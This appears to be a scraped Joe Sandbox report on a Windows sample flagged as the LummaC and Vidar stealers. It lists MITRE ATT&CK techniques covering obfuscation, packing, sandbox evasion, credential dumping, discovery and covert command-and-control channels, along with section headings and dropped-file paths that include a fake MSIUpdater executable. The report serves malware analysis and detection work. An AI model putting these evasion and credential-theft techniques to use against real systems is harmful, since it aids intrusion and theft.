Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1kBeqS7E3z.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\GIEHJKEBAAEB\CBGHCA

C:\ProgramData\GIEHJKEBAAEB\DAKJDH

C:\ProgramData\GIEHJKEBAAEB\DHIEHI

C:\ProgramData\GIEHJKEBAAEB\GCBGII

C:\ProgramData\GIEHJKEBAAEB\GIEHJK

C:\ProgramData\GIEHJKEBAAEB\HCAEBF

C:\ProgramData\GIEHJKEBAAEB\JJJECF

C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe

C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe

Windows Analysis Report
1kBeqS7E3z.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre